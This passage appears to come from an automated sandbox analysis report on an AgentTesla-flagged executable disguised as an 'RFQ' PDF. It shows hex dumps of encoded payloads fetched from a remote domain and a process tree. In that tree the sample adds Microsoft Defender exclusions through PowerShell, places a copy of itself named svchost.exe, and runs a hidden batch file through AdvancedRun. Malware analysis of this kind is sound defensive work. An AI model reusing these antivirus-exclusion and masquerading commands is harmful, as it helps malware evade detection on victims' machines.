59 56 62 4a 59 58 58 59 63 43 75 59 63 59 69 54 59 56 62 4a 59 58 58 59 43 75 59 63 62 75 59 63 62 4a 59 63 63 4a 59 58 56 59 63 63 56 59 63 63 75 59 63 63 63 59 63 62 58 59 63 63 75 59 49 69 59 63 62 49 59 58 56 59 49 49 59 49 69 59 63 63 62 59 63 63 62 59 63 63 63 59 63 63 54 59 58 56 59 49 43 59 63 62 63 59 58 56 59 63 63 75 59 63 63 69 59 63 63 62 59 58 56 59 63 62 4a 59 63 63 62 59 58 56 59 54 43 59 69 49 59 43 58 59 58 56 59 63 62 49 59 63 63 63 59 63 62 62 59 63 62 63 59 75 54 59 63 58 59 63 58 59 63 62 59 58 54 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 43 62 59 54 49 59 62 59 62 59 69 54 59 63 59 58 59 62 59 69 54 59 63 75 56 59 75 63 59 63 43 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 56 56 75 59 62 59 58 75 59 62 59 63 63 59 63 59 43 62 59 62 59 62 59 63 75 56 59 63 62 59 62 59 62 59 54 59 62 59 62 59 62 59 62 59 62 59 Data Ascii: 6271<p>iiYIbYcuuYbYXYbYbYbYuYbYbYbYVJJYVJJYbYbYcCuYbYbYbYbYbYbYbYTuYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYbYcVCYbYbYbYcuYXcYcCTYcuYbYcCbYIYVbJYXXYcCuYcYiTYVbJYXXYCuYcbuYcbJYccJYXVYccVYccuYcccYcbXYccuYIiYcbIYXVYIIYIiYccbYccbYcccYccTYXVYICYcbcYXVYccuYcciYccbYXVYcbJYccbYXVYTCYiIYCXYXVYcbIYcccYcbbYcbcYuTYcXYcXYcbYXTYbYbYbYbYbYbYbYCbYTIYbYbYiTYcYXYbYiTYcuVYucYcCbYbYbYbYbYbYbYbYbYVVuYbYXuYbYccYcYCbYbYbYcuVYcbYbYbYTYbYbYbYbYbY
Feb 25, 2021 15:16:00.047307014 CET	7224	IN	Data Raw: 62 59 63 75 56 59 63 69 58 59 63 62 59 62 59 62 59 58 56 59 62 59 62 59 62 59 63 49 56 59 63 62 59 62 59 62 59 62 59 62 59 63 56 43 59 62 59 58 56 59 62 59 62 59 62 59 56 59 62 59 62 59 75 59 62 59 62 59 62 59 62 59 62 59 62 59 62 59 75 59 62 59 Data Ascii: bYcuVYciXYcbYbYbYXVYbYbYbYcIVYcbYbYbYbYbYcVCYbYXVYbYbYbYVYbYbYuYbYbYbYbYbYbYbYuYbYbYbYbYbYbYbYbYbYccYbYbYVYbYbYbYbYbYbYVYbYTuYcXXYbYbYcTYbYbYcTYbYbYbYbYcTYbYbYcTYbYbYbYbYbYbYcTYbYbYbYbYbYbYbYbYbYbYbYJTYciXYcbYbYCXYbYbYbYbYcIVYcbYbYVcVYXYbYbYbY
Feb 25, 2021 15:16:00.047370911 CET	7225	IN	Data Raw: 62 59 62 59 62 59 63 54 59 62 59 62 59 62 59 56 62 59 62 59 62 59 62 59 56 75 59 62 59 62 59 62 59 56 43 59 62 59 62 59 62 59 58 54 59 62 59 62 59 62 59 56 54 59 75 62 59 63 58 59 62 59 62 59 54 59 75 56 59 75 56 59 56 4a 75 59 49 59 62 59 62 59 Data Ascii: bYbYbYcTYbYbYbYVbYbYbYbYVuYbYbYbYVCYbYbYbYXTYbYbYbYVTYubYcXYbYbYTYuVYuVYVJuYIYbYbYubYcciYbYbYcbYuVYXbYVYubYcXTYbYbYcbYuVYXCYbYVYubYcXiYbYbYcbYbYuVYcTTYccJYcXCYbYbYcbYcVCYuYbYbYuYccJYcXIYbYbYcbYcVCYJYbYbYuYccJYcubYbYbYcbYcVCYTYbYbYuYccJYcucYbYb
Feb 25, 2021 15:16:00.047391891 CET	7227	IN	Data Raw: 69 59 56 58 59 58 63 59 75 43 59 63 4a 69 59 58 69 59 58 56 59 62 59 62 59 62 59 62 59 58 63 59 4a 58 59 63 4a 69 59 58 69 59 58 56 59 62 59 62 59 62 59 62 59 58 63 59 63 62 56 59 63 4a 69 59 58 69 59 56 56 59 58 63 59 63 56 58 59 63 4a 69 59 63 Data Ascii: iYVXYXcYuCYcJiYXiYXVYbYbYbYbYXcYJXYcJiYXiYXVYbYbYbYbYXcYcbVYcJiYXiYVVYXcYcVXYcJiYccJYVVYbYbYcbYbYubYVXYbYbYcbYubYVuYbYbYcbYVJuYcuYVYbYVJuYcXYVYbYVJuYVVYuuYbYbYcYcccYVJYbYbYcbYubYVTYbYbYcbYVJuYcuYcYbYVJuYcVYcYbYubYViYbYbYcbYXCYXcYcIYcucYJbYbYbY
Feb 25, 2021 15:16:00.047410965 CET	7228	IN	Data Raw: 56 59 62 59 62 59 62 59 58 63 59 4a 63 59 63 4a 69 59 58 69 59 58 56 59 56 59 62 59 62 59 62 59 58 63 59 63 62 56 59 63 4a 69 59 58 69 59 56 75 59 58 63 59 63 56 4a 59 63 4a 69 59 58 69 59 58 56 59 63 59 62 59 62 59 62 59 58 63 59 63 62 56 59 63 Data Ascii: VYbYbYbYXcYJcYcJiYXiYXVYVYbYbYbYXcYcbVYcJiYXiYVuYXcYcVJYcJiYXiYXVYcYbYbYbYXcYcbVYcJiYXiYXVYcYbYbYbYXcYcbVYcJiYXiYVXYXcYuCYcJiYXiYXVYbYbYbYbYXcYIiYcJiYXiYXVYbYbYbYbYXcYJVYcJiYXiYVVYXcYcVXYcJiYccJYVVYbYbYcbYbYVJuYcVYcYbYubYVCYbYbYcbYubYVYbYbYTYu
Feb 25, 2021 15:16:00.047429085 CET	7230	IN	Data Raw: 54 59 58 63 59 54 4a 59 63 4a 69 59 58 69 59 58 56 59 58 59 62 59 62 59 62 59 58 63 59 75 49 59 63 4a 69 59 58 69 59 58 56 59 58 59 62 59 62 59 62 59 58 63 59 4a 54 59 63 4a 69 59 58 69 59 56 4a 59 58 63 59 49 56 59 63 4a 69 59 58 69 59 58 56 59 Data Ascii: TYXcYTJYcJiYXiYXVYXYbYbYbYXcYuIYcJiYXiYXVYXYbYbYbYXcYJTYcJiYXiYVJYXcYIVYcJiYXiYXVYVYbYbYbYXcYJuYcJiYXiYXVYVYbYbYbYXcYJbYcJiYXiYVuYXcYcVJYcJiYXiYXVYcYbYbYbYXcYJXYcJiYXiYXVYcYbYbYbYXcYIIYcJiYXiYVXYXcYuCYcJiYXiYXVYbYbYbYbYXcYJVYcJiYXiYXVYbYbYbYbY
Feb 25, 2021 15:16:00.047451019 CET	7231	IN	Data Raw: 54 59 62 59 62 59 62 59 58 63 59 4a 69 59 63 4a 69 59 58 69 59 58 63 59 49 54 59 58 63 59 58 56 59 63 4a 69 59 58 69 59 58 56 59 49 4a 59 62 59 62 59 62 59 58 63 59 4a 58 59 63 4a 69 59 58 69 59 58 56 59 49 4a 59 62 59 62 59 62 59 58 63 59 4a 62 Data Ascii: TYbYbYbYXcYJiYcJiYXiYXcYITYXcYXVYcJiYXiYXVYIJYbYbYbYXcYJXYcJiYXiYXVYIJYbYbYbYXcYJbYcJiYXiYXcYIJYXcYXuYcJiYXiYXVYIuYbYbYbYXcYcbcYcJiYXiYXVYIuYbYbYbYXcYJVYcJiYXiYXcYIuYXcYXuYcJiYXiYXVYIXYbYbYbYXcYIiYcJiYXiYXVYIXYbYbYbYXcYcbcYcJiYXiYXcYIXYXcYXVYc
Feb 25, 2021 15:16:00.047472954 CET	7232	IN	Data Raw: 4a 63 59 63 4a 69 59 58 69 59 58 63 59 69 69 59 58 63 59 58 56 59 63 4a 69 59 58 69 59 58 56 59 69 54 59 62 59 62 59 62 59 58 63 59 4a 58 59 63 4a 69 59 58 69 59 58 56 59 69 54 59 62 59 62 59 62 59 58 63 59 4a 62 59 63 4a 69 59 58 69 59 58 63 59 Data Ascii: JcYcJiYXiYXcYiiYXcYXVYcJiYXiYXVYiTYbYbYbYXcYJXYcJiYXiYXVYiTYbYbYbYXcYJbYcJiYXiYXcYiTYXcYXuYcJiYXiYXVYiJYbYbYbYXcYJXYcJiYXiYXVYiJYbYbYbYXcYuCYcJiYXiYXcYiJYXcYXuYcJiYXiYXVYiuYbYbYbYXcYJVYcJiYXiYXVYiuYbYbYbYXcYJcYcJiYXiYXcYiuYXcYXVYcJiYXiYXVYiXYb
Feb 25, 2021 15:16:00.047491074 CET	7234	IN	Data Raw: 58 63 59 4a 43 59 58 63 59 4a 62 59 63 4a 69 59 58 69 59 58 56 59 4a 69 59 62 59 62 59 62 59 58 63 59 75 43 59 63 4a 69 59 58 69 59 58 56 59 4a 69 59 62 59 62 59 62 59 58 63 59 63 62 62 59 63 4a 69 59 58 69 59 58 63 59 4a 69 59 58 63 59 4a 63 59 Data Ascii: XcYJCYXcYJbYcJiYXiYXVYJiYbYbYbYXcYuCYcJiYXiYXVYJiYbYbYbYXcYcbbYcJiYXiYXcYJiYXcYJcYcJiYXiYXVYJTYbYbYbYXcYJVYcJiYXiYXVYJTYbYbYbYXcYuIYcJiYXiYXcYJTYXcYXuYcJiYXiYXVYJJYbYbYbYXcYcbVYcJiYXiYXVYJJYbYbYbYXcYJVYcJiYXiYXcYJJYXcYXuYcJiYXiYXVYJuYbYbYbYXcY
Feb 25, 2021 15:16:00.047508001 CET	7235	IN	Data Raw: 63 4a 69 59 58 69 59 58 56 59 58 43 59 62 59 62 59 62 59 58 63 59 75 43 59 63 4a 69 59 58 69 59 58 56 59 58 43 59 62 59 62 59 62 59 58 63 59 4a 62 59 63 4a 69 59 58 69 59 58 63 59 58 43 59 58 63 59 58 75 59 63 4a 69 59 58 69 59 58 56 59 58 69 59 Data Ascii: cJiYXiYXVYXCYbYbYbYXcYuCYcJiYXiYXVYXCYbYbYbYXcYJbYcJiYXiYXcYXCYXcYXuYcJiYXiYXVYXiYbYbYbYXcYcbcYcJiYXiYXVYXiYbYbYbYXcYJTYcJiYXiYXcYXiYXcYXuYcJiYXiYXVYXTYbYbYbYXcYJXYcJiYXiYXVYXTYbYbYbYXcYJbYcJiYXiYXcYXTYXcYcVJYcJiYXiYXVYXJYbYbYbYXcYuIYcJiYXiYXV
Feb 25, 2021 15:16:00.048765898 CET	7256	IN	Data Raw: 59 62 59 62 59 62 59 58 63 59 4a 69 59 63 4a 69 59 58 69 59 58 56 59 63 49 59 62 59 62 59 62 59 58 63 59 49 69 59 63 4a 69 59 58 69 59 58 63 59 63 49 59 58 63 59 75 69 59 63 4a 69 59 58 69 59 58 56 59 63 43 59 62 59 62 59 62 59 58 63 59 49 49 59 Data Ascii: YbYbYbYXcYJiYcJiYXiYXVYcIYbYbYbYXcYIiYcJiYXiYXcYcIYXcYuiYcJiYXiYXVYcCYbYbYbYXcYIIYcJiYXiYXVYcCYbYbYbYXcYICYcJiYXiYXcYcCYXcYXVYcJiYXiYXVYciYbYbYbYXcYJbYcJiYXiYXVYciYbYbYbYXcYcbVYcJiYXiYXcYciYXcYXuYcJiYXiYXVYcTYbYbYbYXcYuCYcJiYXiYXVYcTYbYbYbYXcY
Feb 25, 2021 15:16:00.770915985 CET	9251	OUT	GET /base/67CF952D671D30AE6DA37F3E241170D6.html HTTP/1.1 Host: coroloboxorozor.com
Feb 25, 2021 15:16:00.853693008 CET	9253	IN	HTTP/1.1 200 OK Date: Thu, 25 Feb 2021 14:16:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d13aa7a57fad137eafa360a7b8317c40f1614262560; expires=Sat, 27-Mar-21 14:16:00 GMT; path=/; domain=.coroloboxorozor.com; HttpOnly; SameSite=Lax Last-Modified: Thu, 25 Feb 2021 07:33:05 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 087b25002600009d180e376000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=exf4RZrnXdy2gWsirSTwT8OU%2Ba63ir4Yw6XnN7UIfsns%2FjD78W6RXAOt0G66pPyBdUkLdVWH0A7lPeEeEKkOBpBp7x259ePgBCcC56YuakY6sEUt"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62720aad0b629d18-AMS alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 33 34 36 37 0d 0a 3c 70 3e 59 56 75 59 63 4a 43 59 56 62 56 59 56 56 49 59 58 75 59 49 62 59 63 43 43 59 63 69 69 59 56 63 49 59 75 58 59 63 56 4a 59 63 75 4a 59 56 63 4a 59 56 58 58 59 75 75 59 63 43 4a 59 56 56 59 63 49 62 59 56 4a 63 59 63 69 58 59 56 4a 4a 59 56 58 4a 59 54 56 59 63 62 69 59 63 49 69 59 69 63 59 63 75 49 59 56 58 4a 59 75 69 59 63 63 63 59 63 49 54 59 56 4a 63 59 54 75 59 63 63 49 59 63 49 58 59 63 43 59 54 4a 59 63 54 63 59 56 49 59 56 62 49 59 54 63 59 56 58 59 56 4a 59 75 58 59 63 58 69 59 63 54 59 49 62 59 63 63 75 59 63 75 58 59 43 4a 59 63 43 62 59 56 4a 59 63 63 69 59 69 43 59 63 54 43 59 54 49 59 63 54 63 59 58 4a 59 63 62 4a 59 63 69 62 59 56 58 69 59 58 43 59 63 56 58 59 63 75 75 59 56 56 75 59 56 58 69 59 4a 63 59 63 54 58 59 56 58 49 59 56 56 54 59 56 4a 58 59 56 62 54 59 75 62 59 56 58 54 59 63 63 58 59 63 54 69 59 63 62 58 59 56 4a 58 59 63 69 4a 59 69 63 59 56 4a 4a 59 63 58 43 59 63 56 62 59 4a 4a 59 56 75 69 59 63 62 43 59 43 4a 59 63 69 59 56 4a 62 59 4a 56 59 75 49 59 69 43 59 54 4a 59 75 58 59 58 54 59 63 56 59 63 69 69 59 63 56 75 59 63 56 63 59 56 75 69 59 56 75 54 59 63 49 75 59 63 43 69 59 63 49 75 59 63 43 69 59 49 75 59 75 58 59 58 56 59 56 56 69 59 43 43 59 58 58 59 56 58 59 63 69 56 59 63 62 4a 59 4a 75 59 63 54 56 59 63 63 58 59 63 56 59 56 63 58 59 63 56 54 59 69 58 59 63 75 59 56 56 69 59 63 62 75 59 54 58 59 Data Ascii: 3467<p>YVuYcJCYVbVYVVIYXuYIbYcCCYciiYVcIYuXYcVJYcuJYVcJYVXXYuuYcCJYVVYcIbYVJcYciXYVJJYVXJYTVYcbiYcIiYicYcuIYVXJYuiYcccYcITYVJcYTuYccIYcIXYcCYTJYcTcYVIYVbIYTcYVXYVJYuXYcXiYcTYIbYccuYcuXYCJYcCbYVJYcciYiCYcTCYTIYcTcYXJYcbJYcibYVXiYXCYcVXYcuuYVVuYVXiYJcYcTXYVXIYVVTYVJXYVbTYubYVXTYccXYcTiYcbXYVJXYciJYicYVJJYcXCYcVbYJJYVuiYcbCYCJYciYVJbYJVYuIYiCYTJYuXYXTYcVYciiYcVuYcVcYVuiYVuTYcIuYcCiYcIuYcCiYIuYuXYXVYVViYCCYXXYVXYciVYcbJYJuYcTVYccXYcVYVcXYcVTYiXYcuYVViYcbuYTXY
Feb 25, 2021 15:16:09.713603973 CET	10559	OUT	GET /base/7DD0ECB3FED3970A09258155874027F0.html HTTP/1.1 Host: coroloboxorozor.com
Feb 25, 2021 15:16:09.805787086 CET	10561	IN	HTTP/1.1 200 OK Date: Thu, 25 Feb 2021 14:16:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=de93ecf8568c1367fbacc36002afe58871614262569; expires=Sat, 27-Mar-21 14:16:09 GMT; path=/; domain=.coroloboxorozor.com; HttpOnly; SameSite=Lax Last-Modified: Thu, 25 Feb 2021 07:33:06 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 087b25231500009d180f39a000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=Kqcu1d2Xs3oJZsHT98ClzdcvUzB5VFKrNMEiH9EHda0dFgjY6X0ByRdbC1ZwPWlPUovXtjymt%2BDT7etX0ElVt%2BmJaQkxn0Xu0GLIGRiXIh0f1aTq"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62720ae4eda99d18-AMS alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 35 30 63 31 0d 0a 3c 70 3e 58 69 59 62 59 63 62 56 59 62 59 63 63 43 59 62 59 63 63 62 59 62 59 63 63 43 59 62 59 49 49 59 62 59 63 63 62 59 62 59 63 62 54 59 62 59 63 63 43 59 62 59 63 56 63 59 62 59 63 63 43 59 62 59 63 62 4a 59 62 59 63 62 4a 59 62 59 63 62 75 59 62 59 63 62 43 59 62 59 58 69 59 62 59 63 62 63 59 62 59 58 69 59 62 59 63 63 62 59 62 59 63 63 75 59 62 59 63 63 69 59 62 59 63 63 56 59 62 59 63 63 75 59 62 59 63 62 63 59 62 59 63 63 49 59 62 59 63 63 54 59 62 59 58 69 59 62 59 63 63 75 59 62 59 58 69 59 62 59 63 62 49 59 62 59 63 63 62 59 62 59 63 63 75 59 62 59 49 43 59 62 59 63 62 4a 59 62 59 63 62 58 59 62 59 63 56 62 59 62 59 63 62 49 59 62 59 63 56 63 59 62 59 63 56 56 59 62 59 63 62 56 59 62 59 63 62 69 59 62 59 63 56 56 59 62 59 58 69 59 62 59 63 63 43 59 62 59 58 69 59 62 59 49 43 59 62 59 49 49 59 62 59 63 62 63 59 62 59 63 62 4a 59 62 59 49 69 59 62 59 63 62 62 59 62 59 63 63 69 59 62 59 63 63 54 59 62 59 63 62 54 59 62 59 63 62 49 59 62 59 63 63 69 59 62 59 63 63 4a 59 62 59 58 69 59 62 59 63 62 4a 59 62 59 58 69 59 62 59 63 63 56 59 62 59 63 63 75 59 62 59 63 63 54 59 62 59 63 63 63 59 62 59 63 62 63 59 62 59 63 63 56 59 62 59 63 62 75 59 62 59 63 62 54 59 62 59 49 69 59 62 59 63 63 4a 59 62 59 63 62 75 59 62 59 58 69 59 62 59 49 49 59 62 59 58 69 59 62 59 63 56 63 59 62 59 63 56 63 59 62 59 49 49 59 62 59 63 63 43 59 62 59 63 62 63 Data Ascii: 50c1<p>XiYbYcbVYbYccCYbYccbYbYccCYbYIIYbYccbYbYcbTYbYccCYbYcVcYbYccCYbYcbJYbYcbJYbYcbuYbYcbCYbYXiYbYcbcYbYXiYbYccbYbYccuYbYcciYbYccVYbYccuYbYcbcYbYccIYbYccTYbYXiYbYccuYbYXiYbYcbIYbYccbYbYccuYbYICYbYcbJYbYcbXYbYcVbYbYcbIYbYcVcYbYcVVYbYcbVYbYcbiYbYcVVYbYXiYbYccCYbYXiYbYICYbYIIYbYcbcYbYcbJYbYIiYbYcbbYbYcciYbYccTYbYcbTYbYcbIYbYcciYbYccJYbYXiYbYcbJYbYXiYbYccVYbYccuYbYccTYbYcccYbYcbcYbYccVYbYcbuYbYcbTYbYIiYbYccJYbYcbuYbYXiYbYIIYbYXiYbYcVcYbYcVcYbYIIYbYccCYbYcbc

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: RFQ - REF 208056-pdf.exe PID: 6556 Parent PID: 5784

General

Start time:	15:14:50
Start date:	25/02/2021
Path:	C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe'
Imagebase:	0x50000
File size:	117936 bytes
MD5 hash:	C1B250F45DE606EF95AF9961496402A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.509634686.0000000003B23000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 6788 Parent PID: 560

General

Start time:	15:15:04
Start date:	25/02/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 7040 Parent PID: 560

General

Start time:	15:15:14
Start date:	25/02/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 7108 Parent PID: 560

General

Start time:	15:15:15
Start date:	25/02/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 7156 Parent PID: 560

General

Start time:	15:15:16
Start date:	25/02/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6064 Parent PID: 560

General

Start time:	15:15:18
Start date:	25/02/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 5688 Parent PID: 6556

General

Start time:	15:15:27
Start date:	25/02/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' -Force
Imagebase:	0xec0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 2720 Parent PID: 5688

General

Start time:	15:15:28
Start date:	25/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 5504 Parent PID: 6556

General

Start time:	15:15:28
Start date:	25/02/2021
Path:	C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 5716 Parent PID: 5504

General

Start time:	15:15:37
Start date:	25/02/2021
Path:	C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /SpecialRun 4101d8 5504
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: explorer.exe PID: 2084 Parent PID: 3292

General

Start time:	15:15:40
Start date:	25/02/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\explorer.exe' 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe'
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 6816 Parent PID: 792

General

Start time:	15:15:42
Start date:	25/02/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 1020 Parent PID: 6816

General

Start time:	15:15:45
Start date:	25/02/2021
Path:	C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe'
Imagebase:	0xd60000
File size:	117936 bytes
MD5 hash:	C1B250F45DE606EF95AF9961496402A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000010.00000002.544302148.000000000477A000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 6736 Parent PID: 6556

General

Start time:	15:15:45
Start date:	25/02/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe' -Force
Imagebase:	0xec0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6440 Parent PID: 6736

General

Start time:	15:15:45
Start date:	25/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 1044 Parent PID: 6556

General

Start time:	15:15:45
Start date:	25/02/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /c timeout 1
Imagebase:	0x1020000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6216 Parent PID: 1044

General

Start time:	15:15:46
Start date:	25/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: timeout.exe PID: 6220 Parent PID: 1044

General

Start time:	15:15:46
Start date:	25/02/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 1
Imagebase:	0x10e0000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: RFQ - REF 208056-pdf.exe PID: 6556 Parent PID: 5784 RFQ - REF 208056-pdf.exeCOMMON

Executed Functions

Function 08100040, Relevance: 28.8, Strings: 7, Instructions: 20001COMMON
